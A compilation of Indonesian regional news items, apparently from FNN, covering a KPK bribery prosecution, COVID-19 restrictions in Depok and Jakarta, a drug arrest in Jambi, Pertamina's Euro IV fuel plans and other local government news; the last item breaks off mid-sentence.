Jakarta, FNN - Komisi Pemberantasan Korupsi (KPK) melimpahkan berkas perkara Bupati Muara Enim nonaktif Juarsah ke Pengadilan Tindak Pidana Korupsi (Tipikor) Palembang, Kamis. Juarsah adalah terdakwa perkara suap terkait proyek-proyek di Dinas PUPR Kabupaten Muara Enim, Sumatera Selatan Tahun Anggaran 2019. "Hari ini, Jaksa KPK Agung Satrio Wibowo telah melimpahkan berkas perkara terdakwa Juarsah ke Pengadilan Tipikor pada PN Palembang," kata Plt Juru Bicara KPK Ali Fikri dalam keterangannya di Jakarta, Kamis. Ali mengatakan penahanan Juarsah telah beralih dan sepenuhnya menjadi kewenangan Pengadilan Tipikor Palembang dan saat ini tempat penahanannya masih dititipkan di Rutan KPK Kavling C1 (Gedung Pusat Edukasi Antikorupsi KPK), Jakarta. Selanjutnya, tim Jaksa Penuntut Umum (JPU) akan menunggu penetapan penunjukan Majelis Hakim dan penetapan hari sidang dengan agenda awal pembacaan surat dakwaan. "Terdakwa didakwa dengan dakwaan sebagai berikut. Kesatu Pertama: Pasal 12 huruf a UU Tipikor jo Pasal 55 ayat (1) ke-1 KUHP jo Pasal 64 ayat (1) KUHP atau Kedua: Pasal 11 UU Tipikor jo Pasal 64 ayat (1) KUHP dan Kedua: Pasal 12 B UU Tipikor jo Pasal 65 ayat (1) KUHP," ucap Ali. Sebelumnya, KPK telah menetapkan Juarsah sebagai tersangka pada Senin (15/2). Juarsah diduga menerima Rp4 miliar dalam kasus tersebut. Penerimaan "commitment fee" dengan jumlah sekitar Rp4 miliar oleh Juarsah dilakukan secara bertahap melalui perantaraan dari Kepala Bidang Pembangunan Jalan dan PPK di Dinas PUPR Muara Enim Elfin MZ Muhtar (EMM). Dalam konstruksi perkara, dijelaskan pada awal 2019 Dinas PUPR Kabupaten Muara Enim melaksanakan proyek pengadaan pekerjaan fisik berupa pembangunan jalan untuk Tahun Anggaran 2019. Dalam pelaksanaan proyek pengadaan tersebut, Juarsah diduga turut menyepakati dan menerima sejumlah uang berupa "commitment fee" dengan nilai 5 persen dari total nilai proyek yang salah satunya diberikan oleh Robi Okta Fahlefi (ROF) dari pihak swasta. Selain itu, Juarsah selama menjabat selaku Wakil Bupati Muara Enim 2018-2020 juga diduga berperan aktif dalam menentukan pembagian proyek-proyek pengadaan barang dan jasa di Dinas PUPR Kabupaten Muara Enim Tahun 2019. (sws)

Polda: Selama Enam Bulan Terakhir Terpantau 45 Titip Api di Jambi

Jambi, FNN - Kepolisian Daerah Jambi melakukan pemantauan titik api selama enam bulan sejak Januari hingga Juni 2021 dan menemukan 54 titik api yang keseluruhannya berhasil dipadamkan, sehingga kini Jambi dinyatakan nol titik api. Dirreskrimsus Polda Jambi, Kombes Pol Sigit Dany Sutiyono di Jambi, Kamis mengatakan, puluhan titik api tersebut diverifikasi oleh petugas dari Command Center Polda Jambi yang kemudian diteruskan ke petugas di lapangan kemudian dilakukan upaya pemadaman baik bersifat manual maupun dengan bantuan armada helikopter yang disertai water boombing. "Dari 54 kejadian tersebut, 15 terpantau melalui aplikasi asap digital, selebihnya dilaporkan melalui kegiatan patroli baik darat maupun udara," katanya. Untuk pencegahan Kebakaran hutan dan Lahan (Karhutla) di Provinsi Jambi, Polda Jambi telah bekerja sama dengan seluruh stakeholder termasuk pemerintah daerah, Korem 042/ Gapu, para akademisi ahli dan dunia usaha. "Salah satunya upaya seperti tata kelola ekosistem gambut dimana melakukan revitalisasi sekat kanal. Seperti diketahui lokasi gambut merupakan area yang sangat rawan terbakar apabila terjadi kekeringan," kata Kombes Pol Sigit Dany. Sigit juga menjelaskan, yang dihadapi saat ini apabila musim kemarau datang keluarnya air dari area gambut dan itu harus dicegah. Pencegahan itu yakni dengan revitalisasi sekat kanal dan ada beberapa sekat kanal yang telah dibangun di wilayah Kumpeh, Muarojambi sepanjang 25 Kilometer. "Bekerja sama dengan seluruh pihak terdapat petugas gabungan yang berjaga mulai dari Kilometer 1 hingga 25," katanya. Upaya ini diharapkan akan mencegah keluarnya air yang berlebihan sehingga situasi dan ekosistem gambut tetap terjaga. Kemampuan untuk menyerap air dan membasahi lahan sehingga potensi kebakaran hutan dan lahan akan menurun. Selain itu, kesiapan Polda Jambi dalam menghadapi karhutla salah satunya dengan menyiapkan aplikasi asap digital. Asap Digital adalah sebuah sistem aplikasi yang membantu proses deteksi dini terhadap terjadinya kebakaran hutan dan lahan (Karhutla) melalui monitoring terjadinya kebakaran melalui adanya asap. Sigit menjelaskan Ruang command center Polda Jambi merupakan sentral dari aplikasi asap digital beroperasi. Ada tiga sistem yang terpenting yang dioperatori oleh anggota dari Direktorat Reskrimsus Polda Jambi yaitu sistem monitoring melalui CCTV asap digital yang bekerja sama dengan Telkom dan juga perusahaan kehutanan serta perkebunan. Kemudian lanjut Sigit. kedua merupakan sistem monitoring hotspot yang bekerja sama antara Polda Jambi dengan Lapan. Ketiga sistem monitoring personel. Dimana tugas Polda Jambi memberikan informasi kepada personel yang bertugas di lapangan dalam ruang lingkup terdekat di lokasi apabila terjadi kebakaran dan bekerja sama dengan seluruh stakeholder yang ada seperti TNI, Manggala Agni, BPBD serta masyarakat peduli api untuk langsung datang melakukan pencegahan pemadaman api. (sws)

KKP Telah Bilateral dengan China Terkait Produk Terpapar COVID-19

Jakarta, FNN - Kementerian Kelautan dan Perikanan (KKP) menyatakan telah melakukan pertemuan bilateral dengan China terkait dengan ditemukannya indikasi produk ekspor perikanan dari Indonesia ke China yang terpapar COVID-19. "KKP telah mengadakan bilateral dengan otoritas GACC (General Administration of Customs of the People's Republic of China)," kata Menteri Kelautan dan Perikanan Sakti Wahyu Trenggono dalam Rapat Kerja dengan Komisi IV DPR RI, Jakarta, Kamis. Menteri Trenggono juga mengakui ada sebanyak 20 kasus dari pengembalian produk perikanan dari China akibat terindikasi terpapar COVID-19, dan sudah sebanyak 14 Unit Pengolahan Ikan (UPI) yang telah diinspeksi. Pihaknya telah melakukan langkah-langkah guna memastikan UPI ke depannya memiliki prosedur yang tepat, sekaligus memastikan dilakukannya disinfeksi baik kepada pekerja maupun produknya. Sebelumnya KKP menerima sebanyak 20 notifikasi dari otoritas Republik Rakyat China terkait dengan ditemukannya kasus paparan COVID-19 pada produk hasil perikanan asal Indonesia. "Kami menerima 20 notifikasi yang berasal dari 14 UPI terkait temuan ini," kata Kepala Badan Karantina Ikan, Pengendalian Mutu dan Keamanan Hasil Perikanan (BKIPM) KKP Rina. Untuk itu BKIPM bergerak cepat menyusul temuan tersebut. Indonesia melalui BKIPM KKP, lanjutnya, juga telah melakukan harmonisasi dengan pihak otoritas GACC tentang notifikasi produk perikanan melalui pertemuan bilateral sebanyak 9 kali. Selain itu, Pusat Pengendalian Mutu BKIPM telah melakukan internal suspend terhadap 14 UPI eksportir produk perikanan dan meminta mereka untuk melakukan pengendalian paparan COVID-19 pada seluruh rantai kegiatan produksi hulu-hilir, termasuk terhadap pekerja. Rina mengaku terdapat 10 negara yang melakukan protes ke WTO terhadap tindakan China terkait impor produk perikanan. Kendati demikian, Indonesia memilih pendekatan bilateral untuk menyelesaikan permasalahan tersebut, sehingga produk perikanan Indonesia bisa tetap diekspor ke China. Dalam pertemuan bilateral, BKIPM pun meminta klarifikasi teknis terhadap paparan COVID-19 kepada GACC. Hal ini dikarenakan baik produk, kemasan, peralatan proses dan pekerja telah diuji COVID-19 dan dinyatakan negatif. (mth)

Keputusan Wali Kota Depok Batasi Aktivitas Warga Malam Hari

Depok, FNN - Satuan Tugas Penanganan COVID-19 Kota Depok, Jawa Barat mengambil langkah Kebijakan Pengetatan Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM) yang dimuat dalam Keputusan Wali Kota Depok Nomor 443/249/Kpts/Dinkes/Huk/2021 dengan membatasi warga di malam hari untuk menghindari penularan COVID-19. "Aktivitas warga dibatasi sampai dengan pukul 21.00 WIB," kata Juru Bicara Satgas COVID-19 Kota Depok Dadang Wihana, di Depok, Kamis. Keputusan Wali Kota Depok juga membatasi kegiatan keagamaan, tempat ibadah hanya untuk ibadah wajib dengan kapasitas maksimal 30 persen. Untuk penguburan jenazah, takziah, tahlilan diikuti oleh keluarga maksimal 15 orang. "Pengajian rutin, subuh keliling dan ibadah bersama di luar tempat ibadah untuk sementara ditiadakan," katanya. Selain itu, kegiatan di fasilitas umum dan ruang pertemuan (gedung pemerintah, swasta dan masyarakat), seluruhnya ditutup dan kegiatan rapat, pertemuan, bimtek, workshop dan sejenisnya dilaksanakan secara daring. Begitu juga dengan kegiatan seni, budaya, komunitas dan pertemuan-pertemuan dilaksanakan secara daring, resepsi pernikahan/khitanan hanya diperkenankan untuk akad nikah dihadiri keluarga inti maksimal 30 orang dan untuk khitanan 20 orang. Dadang juga menjelaskan kegiatan olahraga hanya dilakukan yang bersifat mandiri. Kegiatan belajar-mengajar dilaksanakan secara daring. Penerimaan kunjungan kerja dan perjalanan dinas ke luar Depok untuk sementara dihentikan. "Untuk tamu keluarga dari luar Depok maksimal 5 orang," ujarnya pula. Ia berharap warga Depok bisa mematuhi keputusan Wali Kota depok tersebut, sehingga bisa memutus mata rantai penularan COVID-19. (sws)

Polisi Tangkap Delapan Pelaku Pesta Narkoba di Muarojambi

Jambi, FNN - Anggota Ditresnarkoba Polda Jambi menangkap delapan orang pelaku penyalahgunaan narkoba yang hendak berpesta sabu-sabu di Desa Danau Kedap, Kecamatan Muaro Sebo, Kabupaten Muarojambi. Kasubdit III Ditresnarkoba Polda Jambi, AKBP Mat Sanusi di Jambi, Kamis mengatakan, penangkapan tersebut dilakukan setelah anggota mendapat informasi dari masyarakat bahwa sering terjadi transaksi atau penyalahgunaan narkotika di daerah Mudung Darat, Desa Danau Kedap. Setelah mendapatkan informasi itu, anggota opsnal Subdit III Ditresnarkoba Polda Jambi melakukan penyamaran atau undercover buy yang sedang berada di salah satu tempat para pelaku akan berpesta sabu di Desa Danau Kedap. "Pada saat salah satu tersangka berinisial RJR sebagai bandar mengeluarkan barang bukti, tim langsung melakukan penangkapan kepada terduga pelaku dan pada saat bersamaan juga tim melakukan penggeledahan di base camp, diamankan sebanyak tujuh orang pasien yang ingin membeli sabu dan berpesta di tempat tersebut," kata Mat Sanusi. Untuk tersangka RJR, beralamat di Desa Danau Kedap, RT.06, Kecamatan Muaro Sebo, Kabupaten Muarojambi. Sedangkan identitas tujuh pengguna narkoba yakni berinisial AS, AT, RS, mereka semua adalah warga Desa Solok Kecamatan Kumpeh Ulu, Kabupaten Muarojambi. Selanjutnya, berinisial AJ warga Perumahan Grand Kenali Blok L03, Kelurahan Mayang Mangurai, Kecamatan Alam Barajo, AD warga Jambi Kecil, Kabupaten Muarojambi, AA warga Desa Arab Melayu, Kecamatan Pelayangan, Sebrang Kota Jambi dan FD warga Jambi Kecil, Kecamatan Muaro Sebo, Kabupaten Muarojambi. Pada saat penggeledahan polisi juga menemukan tiga paket klip kecil diduga narkotika jenis sabu yang diakui milik RJR di base camp tersebut. Saat dilakukan interogasi dan pengembangan, RJR mengakui mendapatkan barang haram tersebut dari pelaku berinisial JJ yang saat ini masih dalam pengejaran polisi karena melarikan diri. Untuk barang bukti lain yang turut diamankan yaitu lima unit sepeda motor berbagai merek, enam unit android, satu bungkus plastik klip bening berisikan sabu dan uang senilai Rp320.000. (sws)

Pemkot Jakpus Larang Warga Ziarah ke TPU Selama PPKM Diperpanjang

Jakarta, FNN - Pemerintah Kota Jakarta Pusat melarang masyarakat berziarah ke Taman Pemakaman Umum (TPU) selama perpanjangan masa Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM) skala Mikro di DKI Jakarta. Kepala Suku Dinas (Kasudin) Pertamanan dan Hutan Kota Administrasi Jakarta Pusat Mila Ananda mengatakan larangan bagi warga untuk berziarah ke TPU kembali diberlakukan, menyusul jumlah kasus COVID-19 yang terus meningkat di DKI Jakarta. "Sementara ini ziarah ditiadakan. Untuk RTH, taman dan TPU ditutup, kecuali untuk pemakaman tetap beroperasi," kata Mila saat dihubungi Antara di Jakarta, Kamis. Larangan berziarah ke TPU ini berlaku sejak 22 Juni hingga 5 Juli mendatang, sesuai ketentuan dalam Surat Keputusan Kepala Dinas Pertamanan dan Hutan Kota Provinsi DKI Jakarta. Meski ditutup untuk warga berziarah, Mila mengatakan bahwa TPU tetap dibuka khusus untuk operasional pemakaman dengan jumlah pengantar yang dibatasi. Di Jakarta Pusat, ada empat TPU yang dikelola oleh Sudin Pertamanan dan Hutan Kota, yakni TPU Karet Bivak, TPU Karet Pasar Baru Barat (PSBB), TPU Kawi Kawi Johar Baru, dan TPU Petamburan. Penutupan TPU untuk warga berziarah dimaksudkan untuk mencegah timbulnya kerumunan yang berpotensi menciptakan klaster baru COVID-19. "Untuk pengendalian kerumunan, jangan sampai nanti TPU jadi klaster baru penularan COVID-19," ujar Mila. Pembatasan aktivitas masyarakat, termasuk berziarah ke TPU tersebut merupakan tindak lanjut dari Keputusan Gubernur DKI Jakarta Nomor 796 tentang Perpanjangan Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM) skala Mikro. Keputusan gubernur itu ditandatangani Gubernur Anies Baswedan pada Senin (21/6) untuk perpanjangan PPKM skala Mikro yang berlaku hingga 5 Juli 2021. Dalam lampiran keputusan gubernur itu, disebutkan bahwa kegiatan ditiadakan pada area publik dan tempat lainnya yang dapat menimbulkan kerumunan massa. (mth)

Wahidin Halim Tegaskan Komitmen Ciptakan Banten Bersih Berintegritas

Serang, FNN - Gubernur Banten Wahidin Halim kembali menegaskan komitmennya dalam menciptakan pemerintahan Provinsi Banten yang bersih dan berintegritas. Wahidin Halim dalam rapat Pembangunan Zona Integritas menuju Wilayah Bebas Korupsi (WBK) dan Wilayah Birokrasi Bersih Melayani (WBBM) BPK RI Perwakilan Banten, secara virtual, di Serang, Rabu, mengatakan sesuai dengan Peraturan Presiden Nomor 81 Tahun 2010 tentang Grand Design Reformasi Birokrasi, sudah seharusnya menjadi komitmen bersama untuk menciptakan pemerintahan yang bersih dari praktik-praktik koruptif. "Oleh karena itu tidak ada alasan buat saya sebagai Gubernur Banten untuk tidak mendukung penguatan zona integritas yang dicanangkan oleh BPK Perwakilan Banten, karena ini merupakan ikhtiar dalam rangka membangun dan menyejahterakan masyarakat Banten," kata Wahidin. Gubernur Banten juga mengatakan bahwa seluruh jajaran di Provinsi Banten telah menandatangani pakta integritas yang merupakan komitmen untuk mewujudkan pemerintahan yang bersih dan sehat. "Karena itu, saya mengucapkan terima kasih kepada BPK RI Perwakilan Banten, BPKP, inspektorat, kejaksaan tinggi, polda, dan seluruh perangkat daerah provinsi maupun kabupaten dan kota yang saya yakin semua memiliki tujuan dan semangat yang sama untuk menciptakan pemerintahan yang sehat dan bersih," katanya. Menurut Wahidin, Pemprov Banten telah menciptakan sistem yang baik dalam tata kelola pemerintahan. Namun masih ada saja oknum yang lebih mementingkan ego pribadi demi mendapatkan keuntungan. "Sistem yang kita bangun harus dibarengi moralitas dan 'mindset' untuk berubah." ujarnya pula. Pada akhir sambutannya, Gubernur Banten mengajak seluruh pihak untuk berkomitmen melawan korupsi dan praktik-praktik yang bertentangan dengan undang-undang yang dapat merugikan masyarakat. "Saya dukung sepenuhnya BPK RI Perwakilan Banten dalam upaya mewujudkan zona integritas. Ayo sama-sama kita lawan korupsi, kita bangun Provinsi Banten," katanya lagi. Kepala BPK RI Perwakilan Banten Arman Syifa mengatakan, tugas dan wewenang BPK tidak jauh dari pemeriksaan yang berkaitan dengan pemeriksaan keuangan serta kinerja. "Tahun ini kami memberikan 9 opini WTP yang merupakan capaian positif, meskipun masih ada catatan atau indikasi kerugian yang timbul dari pengelolaan keuangan tersebut yang harus segera ditindaklanjuti," katanya. Namun begitu, jika dibandingkan dengan tahun lalu, untuk tahun 2021 temuan sudah berkurang. "Kami ingin selalu meningkatkan kualitas lembaga ini, sehingga bisa bermanfaat. Kami sedang berupaya memasuki Zona Integritas menuju Wilayah Bebas Korupsi (WBK) dan Wilayah Birokrasi Bersih Melayani (WBBM)," katanya lagi. Untuk memasuki zona integritas tersebut, sesuai dengan Peraturan Menteri Pendayagunaan Aparatur Negara dan Reformasi Birokrasi Nomor 10 Tahun 2019, ditetapkan ada enam poin yang harus diperhatikan, yaitu Manajemen Perubahan, Penataan Tata Laksana, Penataan Sistem Manajemen SDM, Penguatan Pengawasan dan Penguatan Akuntabilitas Kinerja, serta Penguatan Kualitas Pelayanan. (sws)

Kabupaten Bogor Sukses Bangun 23 Jembatan Meski Pandemi

Cibinong, Bogor, FNN - Pemerintah Kabupaten (Pemkab) Bogor, Jawa Barat berhasil membangun 23 jembatan selama tahun 2020 meski banyak melakukan realokasi atau refocusing anggaran untuk penanganan pandemi COVID-19. "Dalam rangka menunjang perekonomian dan kemudahan akses jalan masyarakat, Alhamdulillah kami telah berhasil membangun 23 jembatan dalam setahun, meski dalam kondisi pandemi COVID-19," ungkap Bupati Bogor, Ade Yasin di Cibinong, Bogor, Kamis (24/6). Menurutnya, jembatan tersebut dibangun oleh dua dinas, yakni sebanyak 17 jembatan oleh Dinas Pekerjaan Umum dan Penataan Ruang (PUPR) dan enam jembatan oleh Dinas Perumahan Kawasan Permukiman dan Pertanahan (DPKPP). "Kalau saya kan hanya memberikan perintah untuk gerak cepat, tetap yang melaksanakannya adalah Dinas PUPR. Ini adalah wujud tekad dan komitmen pemerintah dalam melayani masyarakat, meski di tengah pandemi kami tetap membangun,” ujarnya. Ade Yasin menyebutkan bahwa tahun ini Pemkab Bogor juga ditargetkan membangun 37 jembatan, sebanyak 33 dilakukan oleh desa dan sisanya empat jembatan menggunakan program Satu Miliar Satu Desa (Samisade). Pasalnya, pasangan Bupati dan Wakil Bupati Bogor, Ade Yasin-Iwan Setiawan telah memasukkan target pembangunan 215 jembatan dalam Rencana Pembangunan Jangka Menengah Daerah (RPJMD) tahun 2019-2023. "Jembatan yang menjadi akses masyarakat ini sangat penting, demi menunjang kegiatan perekonomian dan transportasi. Kalau yang tadinya hanya bisa dilalui oleh kendaraan roda dua kini bisa dilalui kendaraan roda empat," terang Ade Yasin. Sebagai informasi, pada tahun 2020 Pemkab Bogor melakukan refocusing anggaran hingga Rp800 miliar untuk penanganan pandemi COVID-19. (mth)

Pertamina Sediakan Bahan Bakar Standar Euro IV Mulai Agustus

Jakarta, FNN - Manager Product and Service Development Subholding Commercial and Trading Pertamina Choerniadi Tomo menyatakan kesiapan perseroan untuk memproduksi bahan bakar minyak jenis solar dengan kadar setana 51 dan kandungan sulfur maksimal 50 ppm mulai Agustus 2021. Hal itu menyusul pernyataan pemerintah yang akan menerapkan kebijakan standar emisi Euro IV mulai 1 April 2022, setelah sebelumnya sempat tertunda pada April tahun ini akibat pandemi COVID-19. "Rencananya pada bulan Agustus ini sudah bisa memproduksi melalui refinery Dumai dan Balikpapan. Kami akan memproduksi sekitar 100 juta barel di masing-masing refinery," kata Choerniadi dalam keterangannya di Jakarta, Kamis. Pertamina akan menyalurkan produk solar rendah emisi menggunakan saluran distribusi Pertamina Dex yang berasal dari empat kilang, yaitu RU II Dumai, RU V Balikpapan, RU VI Balongan, dan RU IV Cilacap. Perseroan menargetkan sebaran Pertamina Dex di daerah mencapai 2.055 outlet pada 31 Desember 2021. Jumlah itu akan meningkatkan hingga April 2022. Saat ini terdapat empat daerah yang belum menyediakan Pertamina Dex, yaitu Tarakan, Ternate, Jayapura, dan Ambon. Perseroan memastikan produk tersebut siap digunakan pada tahun ini. "Kalau masih ada daerah lain yang belum siap, kami akan kirimkan dalam bentuk kemasan jerigen," kata Choerniadi. Lebih lanjut Choerniadi memaparkan timeline produksi Pertamina Dex Euro IV akan disimpan di tangki yang ada dan sebagian lainnya akan dimasukkan ke tangki eksisting yang kandungan sulfurnya sekitar 100 hingga 150 ppm. "Mudah-mudahan bisa siap di tanggal 1 April 2022, sesuai dengan keinginan stakeholder bersama," kata Choerniadi. Gabungan Industri Kendaraan Bermotor Indonesia (Gaikindo) dan Organisasi Angkutan Darat (Organda) menyatakan dukungan mereka terhadap penerapan standar emisi Euro IV untuk kendaraan diesel yang dimulai 1 April 2022. "Penerapan bahan bakar diesel Euro IV sebaiknya tetap dilaksanakan bulan April 2022. Selain kami mempersiapkan unit kendaraan, tentunya perlu mempersiapkan macam-macam lainnya seperti laboratorium uji mesin," kata Sekretaris Gaikindo Abdul Rochim. (mth)

Habib Rizieq Shihab Divonis Empat Tahun Penjara Kasus RS UMMI Bogor

Jakarta, FNN - Majelis Hakim Pengadilan Negeri Jakarta Timur memvonis pidana empat tahun penjara kepada terdakwa Habib Rizieq Shihab terkait kasus tes usap di Rumah Sakit UMMI Bogor, Jawa Barat. "Menyatakan terdakwa terbukti secara sah dan menyakinkan bersalah. Menjatuhkan pidana penjara selama empat tahun," kata Ketua Majelis Hakim Khadwanto, saat membacakan putusan di Pengadilan Negeri Jakarta Timur, Kamis. Khadwanto menjelaskan bahwa putusan tersebut berdasarkan pada pertimbangan fakta yang terungkap selama sidang kasus tes usap di RS UMMI Bogor. Majelis Hakim membacakan hal yang memberatkan di antaranya perbuatan eks pimpinan Front Pembela Islam (FPI) itu dianggap meresahkan warga karena menyatakan kondisi sehat meski terkonfirmasi terpapar COVID-19. Sementara hal yang meringankan antara lain terdakwa Habib Rizieq memiliki tanggungan keluarga dan merupakan seorang guru agama sehingga diharapkan dapat menunjukkan kelakuan baik pada masa mendatang. Meski demikian, putusan ini lebih rendah dibanding tuntutan dari Jaksa Penuntut Umum yang meminta Habib Rizieq dihukum pidana penjara selama enam tahun penjara. Terkait kasus tes usap di RS UMMI Bogor, Habib Rizieq Shihab didakwa dengan Pasal 14 ayat 1 Undang-Undang Nomor 1 Tahun 1946 Kitab Undang-undang Hukum Pidana tentang Peraturan Hukum Pidana juncto Pasal 55 ayat 1 ke-1 KUHP. Subsider Pasal 14 ayat 2 UU Nomor 1 Tahun 1946 tentang Peraturan Hukum Pidana juncto Pasal 55 ayat 1 ke-1 KUHP, subsider Pasal 15 UU Nomor 1 Tahun 1946 juncto Pasal 55 ayat 1 ke-1 KUHP. Dakwaan kedua disangkakan Pasal 14 ayat 1 UU Nomor 4 Tahun 1984 tentang Wabah Penyakit Menular, juncto Pasal 55 ayat 1 ke-1 KUHP, dakwaan ketiga Pasal 216 ayat 1 KUHP, juncto Pasal 55 ayat 1 ke-1 KUHP. (mth)

Politisi: NTT Raksasa Tidur di Sektor Perekonomian

Kupang, FNN - Politisi asal Nusa Tenggara Timur (NTT) Herman Hery mengatakan NTT adalah "raksasa tidur" di sektor perekonomian yang bisa menjadi provinsi hebat jika yang mengurusnya adalah orang yang benar. 'Saya mau katakan bahwa NTT itu adalah raksasa tidur. Asal diurus dengan benar oleh orang yang benar juga," kata anggota DPR RI Herman Hery, di Kupang, Kamis, saat berdialog dengan Menteri Investasi dan Kepala BKPM Bahlil Lahadalia dan calon Ketua Umum Kadin Indonesia Arsjad Rasjid serta sejumlah anggota Kadin NTT. NTT adalah provinsi yang benar-benar diperhatikan oleh pemerintah pusat, sehingga sangat disayangkan jika yang mengurusnya tidak benar, maka tidak akan bangkit dari keterpurukan. "Saya sering berbicara pada negara lain saat melakukan kunjungan kerja, di hadapan para pengusaha di sana saya bangga mengatakan bahwa saya ini orang NTT dan mereka bertanya NTT itu apakah negara baru," ujarnya pula. Kemudian Herman mulai menjelaskan bahwa NTT itu adalah sebuah provinsi yang berada di antara Australia dan Timor Leste, sehingga secara ekonomi sangat strategis jika investasi di NTT dikembangkan dalam berbagai sektor. Menurut Ketua Komisi III DPR RI itu, NTT perlu dirangsang sehingga muncul investor-investor baru yang dapat berinvestasi di NTT. Herman mengapresiasi upaya dari pemerintah pusat melalui Keppres Nomor 11 Tahun 2001 mewajibkan investor untuk menggandeng investor daerah berinvestasi di NTT. Ia pun di hadapan Arsjad Rasjid mengatakan bahwa siap menjadi partner bisnis di daerah, jika Arsjad ingin berinvestasi di berbagai sektor di NTT, seperti sektor pariwisata, energi dan lainnya. (mth)

Wahidin Halim Tegaskan Komitmen Ciptakan Banten Bersih Berintegritas

Serang, FNN - Gubernur Banten Wahidin Halim kembali menegaskan komitmennya dalam menciptakan pemerintahan Provinsi Banten yang bersih dan berintegritas. Wahidin Halim dalam rapat Pembangunan Zona Integritas menuju Wilayah Bebas Korupsi (WBK) dan Wilayah Birokrasi Bersih Melayani (WBBM) BPK RI Perwakilan Banten, secara virtual, di Serang, Rabu, mengatakan sesuai dengan Peraturan Presiden Nomor 81 Tahun 2010 tentang Grand Design Reformasi Birokrasi, sudah seharusnya menjadi komitmen bersama untuk menciptakan pemerintahan yang bersih dari praktik-praktik koruptif. "Oleh karena itu tidak ada alasan buat saya sebagai Gubernur Banten untuk tidak mendukung penguatan zona integritas yang dicanangkan oleh BPK Perwakilan Banten, karena ini merupakan ikhtiar dalam rangka membangun dan menyejahterakan masyarakat Banten," kata Wahidin. Gubernur Banten juga mengatakan bahwa seluruh jajaran di Provinsi Banten telah menandatangani pakta integritas yang merupakan komitmen untuk mewujudkan pemerintahan yang bersih dan sehat. "Karena itu, saya mengucapkan terima kasih kepada BPK RI Perwakilan Banten, BPKP, inspektorat, kejaksaan tinggi, polda, dan seluruh perangkat daerah provinsi maupun kabupaten dan kota yang saya yakin semua memiliki tujuan dan semangat yang sama untuk menciptakan pemerintahan yang sehat dan bersih," katanya. Menurut Wahidin, Pemprov Banten telah menciptakan sistem yang baik dalam tata kelola pemerintahan. Namun masih ada saja oknum yang lebih mementingkan ego pribadi demi mendapatkan keuntungan. "Sistem yang kita bangun harus dibarengi moralitas dan 'mindset' untuk berubah." ujarnya pula. Pada akhir sambutannya, Gubernur Banten mengajak seluruh pihak untuk berkomitmen melawan korupsi dan praktik-praktik yang bertentangan dengan undang-undang yang dapat merugikan masyarakat. "Saya dukung sepenuhnya BPK RI Perwakilan Banten dalam upaya mewujudkan zona integritas. Ayo sama-sama kita lawan korupsi, kita bangun Provinsi Banten," katanya lagi. Kepala BPK RI Perwakilan Banten Arman Syifa mengatakan, tugas dan wewenang BPK tidak jauh dari pemeriksaan yang berkaitan dengan pemeriksaan keuangan serta kinerja. "Tahun ini kami memberikan 9 opini WTP yang merupakan capaian positif, meskipun masih ada catatan atau indikasi kerugian yang timbul dari pengelolaan keuangan tersebut yang harus segera ditindaklanjuti," katanya. Namun begitu, jika dibandingkan dengan tahun lalu, untuk tahun 2021 temuan sudah berkurang. "Kami ingin selalu meningkatkan kualitas lembaga ini, sehingga bisa bermanfaat. Kami sedang berupaya memasuki Zona Integritas menuju Wilayah Bebas Korupsi (WBK) dan Wilayah Birokrasi Bersih Melayani (WBBM)," katanya lagi. Untuk memasuki zona integritas tersebut, sesuai dengan Peraturan Menteri Pendayagunaan Aparatur Negara dan Reformasi Birokrasi Nomor 10 Tahun 2019, ditetapkan ada enam poin yang harus diperhatikan, yaitu Manajemen Perubahan, Penataan Tata Laksana, Penataan Sistem Manajemen SDM, Penguatan Pengawasan dan Penguatan Akuntabilitas Kinerja, serta Penguatan Kualitas Pelayanan. (mth)

Bupati Bangka Dorong Masyarakat Penyangga Pariwisata Berkreasi

Sungailiat, FNN - Bupati Bangka Provinsi Kepulauan Bangka Belitung Mulkan mendorong masyarakat di lingkungan kawasan penyangga pariwisata dapat berkreasi guna mendukung kepariwisataan setempat. "Saya mendorong masyarakat yang berada di daerah penyangga pariwisata atau berada sekitar wilayah objek wisata dapat berkreasi seperti mengembangkan pembuatan cendera mata ataupun sejenisnya berbahan dari alam sekitar," kata bupati di Sungailiat, Kamis. Menurut bupati, aneka ragam hasil usaha kreasi masyarakat menjadi daya tarik tersendiri bagi wisatawan untuk mengunjungi suatu daerah selain objek wisata yang ditawarkan seperti pantai, air terjun dan wisata alam, budaya dan lainnya. "Kita memiliki kekayaan wisata yang cukup indah dan tidak kalah menariknya dengan daerah lain di Indonesia, tetapi perlu dimaksimalkan dukungan masyarakat," ujarnya. Selama pandemi COVID-19 yang berdampak menurunnya aktivitas usaha kepariwisataanb dapat dijadikan peluang untuk berbenah mempersiapkan diri menyambut normalnya kembali sektor pariwisata daerah. "Saya optimis, kepariwisataan daerah akan kembali normal meskipun harus bertahap setelah terdampak penyebaran COVID-19 yang berlangsung lebih dari satu tahun," jelas Mulkan. Dia mengatakan, di daerahnya memiliki banyak tempat wisata baik yang dikelola oleh swasta maupun dikelola langsung masyarakat melalui badan usaha milik desa. Bupati memberikan apresiasi masyarakat desa yang berhasil mengelola area bekas tambang biji timah untuk dikembangkan menjadi objek wisata seperti danau air biru di Desa Cit Kecamatan Riau Silip. "Kami akan memberikan pedampingan kepada masyarakat atau pelaku usaha mikro untuk terus mengembangkan usaha terutama yang berkaitan dengan dukungan kepariwisataan," ujar Mulkan. (mth)

Pemkab Tulang Bawang Lampung Komitmen Dukung Program Langit Biru

Bandarlampung, FNN - Pemerintah Kabupaten Tulang Bawang, Provinsi Lampung berkomitmen mendukung Program Langit Biru (PLB) melalui penggunaan bahan bakar berkualitas dan ramah lingkungan. "PLB merupakan program yang bertujuan untuk mengurangi pencemaran udara dengan cara menggalakkan penggunaan BBM yang lebih ramah lingkungan," kata Bupati Tulang Bawang, Winarti, dalam keterangannya, Kamis. Pihaknya juga mendukung Pertamina menyosialisasikan pelaksanaan Program Langit Biru (PLB) yang rencananya dilaksanakan akhir Juni 2021. Winarti juga meminta penambahan kuota kepada pemerintah pusat untuk menjaga ketahanan stok BBM dan elpiji 3 kg bersubsidi. Unit Manager Communication, Relation & CSR MOR II, Umar Ibnu Hasan mengatakan implementasi dari PLB ini yaitu dengan memberikan harga khusus untuk produk BBM Pertalite RON-90 khusus bagi kendaraan roda 2, roda 3, angkutan umum dan taksi plat kuning serta ambulan plat merah. Pertamina juga menyampaikan perkembangan program Pertashop serta permasalahan yang dihadapi dalam pengembangan program dimaksud. "Pertamina 